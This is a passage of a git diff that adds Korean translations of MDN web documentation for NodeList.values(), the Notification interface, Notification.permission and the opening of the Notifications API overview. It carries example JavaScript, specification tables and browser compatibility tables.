@@ -0,0 +1,72 @@
+---
+title: NodeList.values()
+slug: Web/API/NodeList/values
+translation_of: Web/API/NodeList/values
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code><strong>NodeList.values()</strong></code> 메서드는 이 객체에 포함된 모든 값을 통과할 수 있는 {{jsxref("Iteration_protocols",'iterator')}}를 반환합니다. 값은 {{domxref("Node")}} 객체 입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">nodeList.values();</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{jsxref("Iteration_protocols","iterator")}}를 반환합니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js;highlight:[13]">var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// Using for..of
+for(var value of list.values()) {
+  console.log(value);
+}
+</pre>
+
+<p>결과는 다음과 같습니다 :</p>
+
+<pre>&lt;p&gt;
+#text "hey"
+&lt;span&gt;
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-nodelist','values() (as iterable&lt;Node&gt;)')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NodeList.values")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ko/web/api/notification/index.html b/files/ko/web/api/notification/index.html
new file mode 100644
index 0000000000..1fb845f94d
--- /dev/null
+++ b/files/ko/web/api/notification/index.html
@@ -0,0 +1,493 @@
+---
+title: Notification
+slug: Web/API/notification
+translation_of: Web/API/Notification
+---
+<p>{{APIRef("Web Notifications")}}</p>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/Notifications_API">Notifications API</a>의 <code>Notification</code> 인터페이스는 사용자에게 데스크톱 알림을 설정하고 보여주는데 사용됩니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Method_overview" name="Method_overview">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("Notification.Notification", "Notification()")}}</dt>
+ <dd>새 <code>Notification</code> 객체 인스턴스를 생성합니다.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<h3 id="Static_properties">Static properties</h3>
+
+<p>이 속성은 <code>Notification</code> 객체 안에만 존재합니다.</p>
+
+<dl>
+ <dt>{{domxref("Notification.permission")}} {{readonlyinline}}</dt>
+ <dd>알림을 표시하기 위한 현재의 권한을 나타낸다. 가능한 값: <code>denied</code> (사용자가 알림 표시를 거절), <code>granted</code> (사용자가 알림 표시를 허용), <code>default</code> (사용자의 선택을 알 수 없기 때문에 브라우저가 거절한 상태의 값으로 작동하게됨).</dd>
+</dl>
+
+<h3 id="Instance_properties">Instance properties</h3>
+
+<p>이 속성은 <code>Notification</code> 객체의 인스턴스 안에만 존재합니다.</p>
+
+<dl>
+ <dt>{{domxref("Notification.actions")}} {{readonlyinline}}</dt>
+ <dd>생성자의 옵션 파라메터 안에 명시된 알림의 액션 배열입니다.</dd>
+ <dt>{{domxref("Notification.badge")}} {{readonlyinline}}</dt>
+ <dd>알림을 나타낼 충분한 여유 공간이 없을 때에 알림을 표시하는 이미지의 URL입니다.</dd>
+ <dt>{{domxref("Notification.body")}} {{readonlyinline}}</dt>
+ <dd>생성자의 옵션 파라메터 안에 명시된 알림의 본문입니다.</dd>
+ <dt>{{domxref("Notification.data")}} {{readonlyinline}}</dt>
+ <dd>알림 데이타의 구조화된 복사본을 반환합니다.</dd>
+ <dt>{{domxref("Notification.dir")}} {{readonlyinline}}</dt>
+ <dd>생성자의 옵션 파라메터 안에 명시된 알림 글의 방향입니다.</dd>
+ <dt>{{domxref("Notification.lang")}} {{readonlyinline}}</dt>
+ <dd>생성자의 옵션 파라메터 안에 명시된 알림의 언어 코드입니다.</dd>
+ <dt>{{domxref("Notification.tag")}} {{readonlyinline}}</dt>
+ <dd>생성자의 옵션 파라메터 안에 명시된 경우 알림의 ID입니다.</dd>
+ <dt>{{domxref("Notification.icon")}} {{readonlyinline}}</dt>
+ <dd>생성자의 옵션 파라메터 안에 명시된 알림의 아이콘으로 사용될 이미지의 URL입니다.</dd>
+ <dt>{{domxref("Notification.image")}} {{readonlyinline}}</dt>
+ <dd>생성자의 옵션 파라메터 안에 명시된 알림의 일부분으로 표시될 이미지의 URL입니다.</dd>
+ <dt>{{domxref("Notification.requireInteraction")}} {{readonlyinline}}</dt>
+ <dd>자동으로 닫히지 않고 사용자가 클릭할 때 까지 활성화 된 채로 남아 있어야 함을 나타내는 {{jsxref("Boolean")}} 값입니다.</dd>
+ <dt>{{domxref("Notification.silent")}} {{readonlyinline}}</dt>
+ <dd>기기의 설정과 상관없이 소리가 없거나 진동이 울려야 한다는 등 알림이 조용해야 하는지를 나타냅니다.</dd>
+ <dt>{{domxref("Notification.timestamp")}} {{readonlyinline}}</dt>
+ <dd>알림이 생성되었거나 적용 가능한(과거, 현재, 미래) 시간을 나타냅니다.</dd>
+ <dt>{{domxref("Notification.title")}} {{readonlyinline}}</dt>
+ <dd>생성자의 첫번째 파라메터에 명시된 알림의 제목입니다.</dd>
+ <dt>{{domxref("Notification.vibrate")}} {{readonlyinline}}</dt>
+ <dd>진동기가 있는 기기가 나타내야할 진동 패턴을 나타냅니다.</dd>
+ <dt>
+ <h4 id="Unsupported_properties">Unsupported properties</h4>
+
+ <p>아래의 속성은 최신 명세에는 등록되어 있지만 아직 구현한 브라우저가 없는 속성입니다. 현재의 상태에서 변경된 사항은 없는지 계속 확인해보아야 하는 내용이고 오래된 내용이 있으면 알려주시기 바랍니다.</p>
+ </dt>
+ <dt>{{domxref("Notification.noscreen")}} {{readonlyinline}}</dt>
+ <dd>알림이 기기의 화면을 활성화해야 하는지를 나타냅니다.</dd>
+ <dt>{{domxref("Notification.renotify")}} {{readonlyinline}}</dt>
+ <dd>새 알림이 오래된 알림을 교체할 때 사용자에게 알려야 하는지를 나타냅니다.</dd>
+ <dt>{{domxref("Notification.sound")}} {{readonlyinline}}</dt>
+ <dd>기본 시스템 설정 알림 소리를 대신할 알림 소리로 사용될 소리 자원을 나타냅니다.</dd>
+ <dt>{{domxref("Notification.sticky")}} {{readonlyinline}}</dt>
+ <dd>사용자가 쉽게 제거할 수 없게 '달라붙어'있어야 하는지를 나타냅니다.</dd>
+</dl>
+
+<h4 id="Event_handlers">Event handlers</h4>
+
+<dl>
+ <dt>{{domxref("Notification.onclick")}}</dt>
+ <dd>{{event("click")}} 이벤트에 대한 핸들러입니다. 사용자가 알림을 클릭할 때 마다 호출됩니다.</dd>
+ <dt>{{domxref("Notification.onerror")}}</dt>
+ <dd>{{event("error")}} 이벤트에 대한 핸들러입니다. 알림에 오류가 발생할 때 마다 호출됩니다.</dd>
+</dl>
+
+<h4 id="Obsolete_handlers">Obsolete handlers</h4>
+
+<p>아래의 이벤트 핸들러는 {{anch("browser compatibility")}} 섹션에 나타난 대로 아직 지원되지만 현재 명세에 없는 내용입니다. 폐지된 것으로 생각해야 하고 앞으로 나올 브라우저에서는 작동하지 않을 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("Notification.onclose")}}</dt>
+ <dd>{{event("close")}} 이벤트에 대한 핸들러입니다. 사용자가 알림을 닫을 때 호출됩니다.</dd>
+ <dt>{{domxref("Notification.onshow")}}</dt>
+ <dd>{{event("show")}} 이벤트에 대한 핸들러입니다. 알림이 표시될 때 호출됩니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<h3 id="Static_methods">Static methods</h3>
+
+<p>이 메서드는 <code>Notification</code> 객체에만 존재합니다.</p>
+
+<dl>
+ <dt>{{domxref("Notification.requestPermission()")}}</dt>
+ <dd>이 메서드는 페이지에서 알림을 표시할지 요청하는데 사용됩니다.</dd>
+</dl>
+
+<h3 id="Instance_methods">Instance methods</h3>
+
+<p>이 메서드는 <code>Notification</code> 객체의 인스턴스나 그 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain"><code>prototype</code></a>에만 존재합니다. <code>Notification</code> 객체는 또한 {{domxref("EventTarget")}} 인터페이스를 상속 받습니다.</p>
+
+<dl>
+ <dt>{{domxref("Notification.close()")}}</dt>
+ <dd>프로그램으로 알림을 닫습니다.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>다음과 같은 기본 HTML이 있을 때:</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>notifyMe()<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Notify me!<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>다음과 같이 알림을 보낼 수 있습니다. 알림이 지원되는지 우선 확인해 볼 때 사용할 수 있는 풍부하게 완성된 예제코드입니다. 그 다음에 현재 페이지에서 알림을 보낼 수 있게 권한이 있는지를 확인하고 알림을 보내기 전에 권한이 필요하면 요청을 합니다.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">notifyMe</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">// Let's check if the browser supports notifications</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span><span class="punctuation token">(</span><span class="string token">"Notification"</span> <span class="keyword token">in</span> window<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">"This browser does not support desktop notification"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="comment token">// Let's check whether notification permissions have already been granted</span>
+  <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>Notification<span class="punctuation token">.</span>permission <span class="operator token">===</span> <span class="string token">"granted"</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">// If it's okay let's create a notification</span>
+    <span class="keyword token">var</span> notification <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Notification</span><span class="punctuation token">(</span><span class="string token">"Hi there!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="comment token">// Otherwise, we need to ask the user for permission</span>
+  <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>Notification<span class="punctuation token">.</span>permission <span class="operator token">!==</span> <span class="string token">'denied'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    Notification<span class="punctuation token">.</span><span class="function token">requestPermission</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>permission<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="comment token">// If the user accepts, let's create a notification</span>
+      <span class="keyword token">if</span> <span class="punctuation token">(</span>permission <span class="operator token">===</span> <span class="string token">"granted"</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">var</span> notification <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Notification</span><span class="punctuation token">(</span><span class="string token">"Hi there!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+    <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="comment token">// At last, if the user has denied notifications, and you </span>
+  <span class="comment token">// want to be respectful there is no need to bother them any more.</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>{{EmbedLiveSample('Example', '100%', 30)}}</p>
+
+<p>많은 경우에 이렇게 장황할 필요는 없습니다. 예를 들어 <a href="http://mdn.github.io/emogotchi/">Emogotchi 데모</a>(<a href="https://github.com/mdn/emogotchi">소스코드</a>)에서는 단순히 알림을 보내기 위해서 권한을 얻을 수 있는지와 상관없이 {{domxref("Notification.requestPermission")}}를 실행합니다(이 경우는 새로운 프로미스 기반 메서드 문법을 사용):</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">Notification<span class="punctuation token">.</span><span class="function token">requestPermission</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>result<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>result<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>그 다음에 알림이 필요한 때에 단순히 <code>spawnNotification()</code> 함수를 실행합니다. 본문과 아이콘, 제목을 인자로 넘기면 필요한 <code>options</code> 객체를 만들고 {{domxref("Notification.Notification","Notification()")}} 생성자를 사용해서 알림을 발생시킵니다.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">spawnNotification</span><span class="punctuation token">(</span>theBody<span class="punctuation token">,</span>theIcon<span class="punctuation token">,</span>theTitle<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> options <span class="operator token">=</span> <span class="punctuation token">{</span>
+      body<span class="punctuation token">:</span> theBody<span class="punctuation token">,</span>
+      icon<span class="punctuation token">:</span> theIcon
+  <span class="punctuation token">}</span>
+  <span class="keyword token">var</span> n <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Notification</span><span class="punctuation token">(</span>theTitle<span class="punctuation token">,</span>options<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+    22</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>6<sup>[3]</sup></td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+    22</td>
+   <td>{{CompatUnknown}}</td>
+   <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>silent</code></td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>noscreen</code>, <code>sticky</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>sound</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>renotify</code></td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Promise-based <code>Notification.requestPermission()</code></td>
+   <td>{{CompatChrome(46.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("47.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(40)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>vibrate</code>, <code>actions</code></td>
+   <td>{{CompatChrome(53.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatOpera(39)}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>badge</code></td>
+   <td>{{CompatChrome(53.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatOpera(39)}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>image</code></td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+    1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br>
+    22</td>
+   <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+    1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>silent</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>noscreen</code>, <code>sticky</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>sound</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>renotify</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Promise-based <code>Notification.requestPermission()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("47.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>vibrate</code>, <code>actions</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(53.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatOperaMobile(39)}}</td>
+   <td> </td>
+   <td>{{CompatChrome(53.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>badge</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(53.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatOperaMobile(39)}}</td>
+   <td> </td>
+   <td>{{CompatChrome(53.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>image</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+   <td>{{CompatChrome(55.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Chrome 22 이전에는 <a href="http://www.chromium.org/developers/design-documents/desktop-notifications/api-specification">오래된 접두사형 명세</a>와 새 알림 인스턴스를 만들 때 {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} 객체를 사용해서 알림을 지원합니다.</p>
+
+<p>Chrome 32 이전에는 {{domxref("Notification.permission")}}이 지원되지 않았습니다.</p>
+
+<p>Chrome 42 이전에는 서비스 워커 추가가 지원되지 않았습니다.</p>
+
+<p>Chrome 49 부터 익명(incognito) 모드에서는 알림이 작동하지 않습니다.</p>
+
+<p>[2] Firefox 22(Firefox OS &lt;1.2) 이전에는 새 알림 인스턴스 생성이 {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} 객체의 <code>createNotification</code> 메서드를 통해서 해야 했습니다.</p>
+
+<p>Firefox 22 (Firefox OS &lt;1.2) 이전에는 Notification이 <code>show</code> 메서드를 호출할 때에만 나왔고 <code>click</code>과 <code>close</code> 이벤트 만 지원했습니다.</p>
+
+<p>새로운 구현와 이전 구현을 다 포괄하기 위해서 Nick Desaulniers가 <a href="https://github.com/nickdesaulniers/fxos-irc/blob/master/js/notification.js">Notification shim</a>을 작성했습니다.</p>
+
+<p>한가지 특별한 Firefox OS 이슈가 있는데 알림 아이콘을 사용하기 위해 <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L171">아이콘 경로를 전달</a> 할 수는 있지만 앱이 패키징되면 <code>/my_icon.png</code>와 같이 상대 경로를 사용할 수 없다는 점입니다. 또한 패키징 된 앱에서는 <code>window.location.origin</code>이 null이기 때문에 <code>window.location.origin + "/my_icon.png"</code>도 사용할 수 없습니다. <a href="https://developer.mozilla.org/en-US/Apps/Developing/Manifest#origin">Manifest origin 필드</a>로 이 문제를 해결할 수 있지만 Firefox OS 1.1+에서만 사용할 수 있습니다. Firefox OS &lt;1.1에 대한 가능한 해결책은 <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L168">외부에서 호스트하는 절대경로 아이콘 URL을 넘기는 것</a> 입니다. 이렇게 하면 아이콘 없이 알림이 먼저 나오고 그 다음에 아이콘에 붙게 되지만 모든 버전의 Firefox OS에서 동작합니다.</p>
+
+<p>Firefox OS 앱에서 알림을 사용할 때에는 manifest 파일에 <code>desktop-notification</code> 권한을 추가하도록 합니다. 알림은 호스트 되거나 그 이상의 수준에서 사용할 수 있습니다: <code>"permissions": { "desktop-notification": {} }</code></p>
+
+<p>[3] Safari는 Safari 6에서 알림을 지원하지만 Mac OSX 10.8+ (Mountain Lion)에서만 지원합니다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a></li>
+</ul>
diff --git a/files/ko/web/api/notification/permission/index.html b/files/ko/web/api/notification/permission/index.html
new file mode 100644
index 0000000000..30969fb541
--- /dev/null
+++ b/files/ko/web/api/notification/permission/index.html
@@ -0,0 +1,43 @@
+---
+title: Notification.permission
+slug: Web/API/Notification/permission
+translation_of: Web/API/Notification/permission
+---
+<p>{{ ApiRef() }}</p>
+<p>{{ SeeCompatTable() }}</p>
+<h2 id="Summary" name="Summary">요약</h2>
+<p><code>permission</code> 속성은 <span style="line-height: inherit;">웹 알림에 있어서 </span><span style="line-height: inherit;">사용자에 의해 현재 앱에 허가된 현재 권한을 가리킵니다. </span></p>
+<h2 id="Syntax" name="Syntax">문법</h2>
+<pre class="eval">var <em>permission</em> = Notification.permission;
+</pre>
+<h3 id="Return_Value" name="Return_Value">값</h3>
+<p>다음은 현재 권한을 표현하는 문자열입니다.</p>
+<ul>
+ <li><code>granted</code>: 사용자가 의도하여 어플리케이션이 알림을 보낼 수 있도록 허가.</li>
+ <li><code>denied</code>: 사용자가 의도하여 어플리케이션이 알림을 보내는 것을 거부.</li>
+ <li><code>default</code>: 사용자의 결정은 알 수 없으나, 어플리케이션 기본적으로 denied 와 같이 동작할 것 입니다.</li>
+</ul>
+<h2 id="명세">명세</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="브라우저_호환">브라우저 호환</h2>
+<p>{{Page("/en-US/docs/Web/API/Notification","Browser compatibility")}}</p>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li>{{domxref("Notification")}}</li>
+ <li><a href="/en-US/docs/WebAPI/Using_Web_Notifications" title="/en-US/docs/WebAPI/Using_Web_Notifications">Using Web Notifications</a></li>
+</ul>
diff --git a/files/ko/web/api/notifications_api/index.html b/files/ko/web/api/notifications_api/index.html
new file mode 100644
index 0000000000..4ab5d961dc
--- /dev/null
+++ b/files/ko/web/api/notifications_api/index.html
@@ -0,0 +1,83 @@
+---
+title: Notifications API
+slug: Web/API/Notifications_API
+tags:
+  - 권한
+  - 시스템
+  - 알림
+translation_of: Web/API/Notifications_API
+---
+<p>{{DefaultAPISidebar("Web Notifications")}}</p>
+
+<p class="summary">Notifications API 는 웹 페이지가 일반 사용자에게 시스템 알림 표시를 제어할 수 있게 해줍니다. 이러한 알람은 최상단 브라우징 컨텍스트 뷰포트의 바깥에 위치하므로 사용자가 탭을 변경하거나 다른 앱으로 이동했을때에도 표시할 수 있습니다. 이 API 는 다양한 플랫폼에 존재하는 알림 시스템과 호환되도록 디자인되었습니다.</p>
+
+<h2 id="개념과_사용">개념과 사용</h2>
+
+<p>지원되는 플랫폼에서, 시스템 알림 표시는 일반적으로 두 가지를 포함합니다. 첫째로, 사용자가 시스템 알림 표시에 대한 현재 origin 권한을 허용해야합니다. 이는 {{domxref("Notification.requestPermission()")}} 메소드를 사용해 앱이나 사이트가 초기화될 때 일반적으로 완료됩니다. 다음과 같이 요청 대화상자가 나타납니다.</p>
+
